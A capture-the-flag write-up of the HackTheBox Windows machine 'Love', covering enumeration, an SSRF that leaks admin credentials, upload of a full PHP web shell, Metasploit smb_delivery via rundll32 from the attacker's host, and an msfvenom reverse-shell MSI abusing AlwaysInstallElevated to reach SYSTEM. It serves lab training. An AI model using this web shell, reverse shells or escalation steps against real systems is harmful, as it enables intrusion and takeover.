CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Love

windows nmap ssrf always-install-elevated

Love is a Windows-based machine authored by pwnmeow, with an average rating of 4.4 stars.

// Recon

nmap -A love.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 10:00 AEST
Nmap scan report for love.htb (10.10.10.239)
Host is up (0.020s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| tls-alpn:
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-01-14T00:23:45
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 3h02m57s, deviation: 4h37m10s, median: 22m56s
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-01-13T16:23:46-08:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.11 seconds

Nmap reveals the server is likely a Windows 10 pro machine running:

Focusing briefly on the SMB service, we can run a few well-known tools to see how this is setup:

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.239                 
SMB         10.10.10.239    445    LOVE             [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)
      
┌──(kali㉿kali)-[~]
└─$ smbmap -H 10.10.10.239                        
[!] Authentication error on 10.10.10.239
                        
┌──(kali㉿kali)-[~]
└─$ smbclient -U guest --no-pass -L \\10.10.10.239
session setup failed: NT_STATUS_LOGON_FAILURE

We now know that SMBv1 support is available, message signing is not required, and that we can’t anonymously enumerate or browse any fileshares.

Turning to the web services, it seems that 80 is the only port that returns a working response for queries to either the machine IP 10.10.10.239 or the usual hostname love.htb, which is a login page to a voting system:

Requests to 10.10.10.239 or love.htb on ports 443 and 5000 simply return an error or forbidden message. However, looking closer at the nmap output above, we can see there may be another way in:

ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in

The SSL certificate has been configured to allow the server to be accessed via staging.love.htb, which if we request as http://staging.love.htb:80 returns a different page:

The sign-up form is inactive, but clicking on Demo in the navbar returns a form that allows entry of a file URL for malware scanning. The form doesn’t seem to work against external URLs, but supplying an input that it may not expect, e.g http://localhost/index.php is a different story:

Server-side Request Forgery (SSRF) is a type of vulnerability that “allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing”. In this case, the domain we are targeting is the local domain, by accessing the server as localhost. Essentially, we are able to bypass security measures that rely on untrusted users only being able to access certain interfaces of a machine. Under normal conditions, we wouldn’t be able to reach this server at its localhost interface - but if we can manipulate the server into making the request itself, the security is bypassed. There doesn’t seem to be too many interesting files available on the default port 80, but we know from our nmap scan earlier that this isn’t the only webserver port open. If we supply http://localhost:5000/index.php as the URL to scan, we get something even more juicy:

We now have an admin user and password, but no obvious place to use them. Back on the inital login page at http://love.htb/, the form asks for a Voter ID and password. But if we try http://love.htb/admin (an obvious URL for admin panels) the input fields change to Username and password. Testing our new credentials logs us straight in:

There is a fair amount of functionality to explore here - as an admin you can setup a campaign, add candidates, create working voter accounts that can also be logged in etc. After exploring the site for a while, the obvious feature to look at more closely is the setup of voter accounts, since this allows for uploading of a user avatar, another well-known class of vulnerability. There doesn’t seem to be any kind of file validation in place, and we’re able to upload a simple PHP web shell shell.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

that the voter list confirms for us is uploaded at ../images/shell.php:

We now have access to a local user:

http://love.htb/images/shell.php?cmd=whoami
love\phoebe

and can browser to her desktop and recover the user flag in the usual way:

http://love.htb/images/shell.php?cmd=dir+C%3A%5CUsers%5CPhoebe%5CDesktop
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30

Directory of C:\Users\Phoebe\Desktop

04/13/2021  02:20 AM    
          .
04/13/2021  02:20 AM    
          ..
01/16/2022  02:59 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,172,554,240 bytes free

http://love.htb/images/shell.php?cmd=type+C%3A%5CUsers%5CPhoebe%5CDesktop%5Cuser.txt
1d******************************

// Privilege Escalation

While we have been able to upload a functioning webshell, it seems like there is some process (probably Windows Defender) that periodically deletes the file (renaming shell.php to a more innoculous name doesn’t seem to help). We can use metasploit to easily upgrade to a proper native shell:

msf6 > use windows/smb/smb_delivery
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_delivery) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf6 exploit(windows/smb/smb_delivery) > set SRVHOST 10.10.14.35
SRVHOST => 10.10.14.35
msf6 exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.35:4444
[*] Started service listener on 10.10.14.35:445
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(windows/smb/smb_delivery) > rundll32.exe \\10.10.14.35\eUWwk\test.dll,0

We run the specified command rundll32.exe \\10.10.14.35\eUWwk\test.dll,0 in our webshell, and get back a meterpreter session, which in turn can be upgraded to a native shell:

[*] Sending stage (175174 bytes) to 10.10.10.239
[*] Meterpreter session 1 opened (10.10.14.35:4444 -> 10.10.10.239:55288 ) at 2022-01-19 10:36:55 +1000
msf6 exploit(windows/smb/smb_delivery) > sessions

Active sessions
===============

  Id  Name  Type                     Information         Connection
  --  ----  ----                     -----------         ----------
  1         meterpreter x86/windows  LOVE\Phoebe @ LOVE  10.10.14.35:4444 -> 10.10.10.239:55288  (10.10.10.239)

msf6 exploit(windows/smb/smb_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 5688 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>

Now that we have a stable shell, we can start to enumerate the system and look for a way to achieve system access. Browsing around we can see that the xampp stack (apache, mariaDB, php & perl) is running out of C:\xampp. If we browse this directory we can see that by default the root mysql user has no password, so it should be possible for us to run root-level database commands from our shell. We can get a list of available databases by running dir C:\xampp\mysql\data and seeing what directories exist:

 Directory of C:\xampp\mysql\data

01/18/2022  04:53 PM    <DIR>          .
01/18/2022  04:53 PM    <DIR>          ..
..
04/12/2021  07:17 AM    <DIR>          mysql
..
04/12/2021  07:17 AM    <DIR>          performance_schema
04/12/2021  07:17 AM    <DIR>          phpmyadmin
04/12/2021  07:17 AM    <DIR>          test
04/12/2021  11:11 AM    <DIR>          votesystem
              11 File(s)     35,722,160 bytes
               7 Dir(s)   4,024,033,280 bytes free

Running a command against any of these is straightforward, e.g to get a list of tables from phpmyadmin:

C:\xampp\mysql\bin>mysql -uroot -Dphpmyadmin -e "show tables;";
mysql -uroot -Dphpmyadmin -e "show tables;";
Tables_in_phpmyadmin
pma__bookmark
pma__central_columns
pma__column_info
pma__designer_settings
pma__export_templates
...

Unfortunately, most of these tables are empty and don’t contain anything useful.

It isn’t really privilege escalation, but there is another trick worth trying with mysql to read files your default user may not have access to. Since we can anticipate the location of the root, flag, we can try the LOAD_FILE() function and see if the mysql user has access:

C:\xampp\mysql\bin>mysql -uroot -Dphpmyadmin -e "SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')"
mysql -uroot -Dphpmyadmin -e "SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')"
LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')
NULL

In this case it doesn’t have access either, but as I said, it’s always worth a shot ;-)

More typical methods of enumeration we can use at this point include:

There were a few interesting outputs from running these scripts, one in particular being that the AlwaysInstallElevated registry key was enabled for both the current user and local machine. As explained in several places, this pair of settings enables local users to run .msi (Microsoft Installer) with system privileges. Building a malicious payload via msfvenom that will establish a system-level reverse shell is straightforward:

./msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f msi -o reverse.msi

We then upload the reverse.msi file to a writeable directory on the target machine via meterpreter, in this case C:\Users\Phoebe:

meterpreter > upload reverse.msi
[*] uploading  : reverse.msi -> reverse.msi
[*] Uploaded 156.00 KiB of 156.00 KiB (100.0%): reverse.msi -> reverse.msi
[*] uploaded   : reverse.msi -> reverse.msi

Establish a compatible listener on our local machine:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.35:5555

And then install (execute) the file on the target:

C:\Users\Phoebe>msiexec /quiet /qn /i reverse.msi
msiexec /quiet /qn /i reverse.msi

Which creates a connection back to our listener, running as the system user, and allowing us to grab the root flag:

[*] Command shell session 1 opened (10.10.14.35:5555 -> 10.10.10.239:55382 ) at 2022-01-20 09:21:05 +1000


Shell Banner:
Microsoft Windows [Version 10.0.19042.867]
-----


C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Administrator\Desktop

04/13/2021  02:20 AM    <DIR>          .
04/13/2021  02:20 AM    <DIR>          ..
01/18/2022  04:53 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,027,445,248 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
8a******************************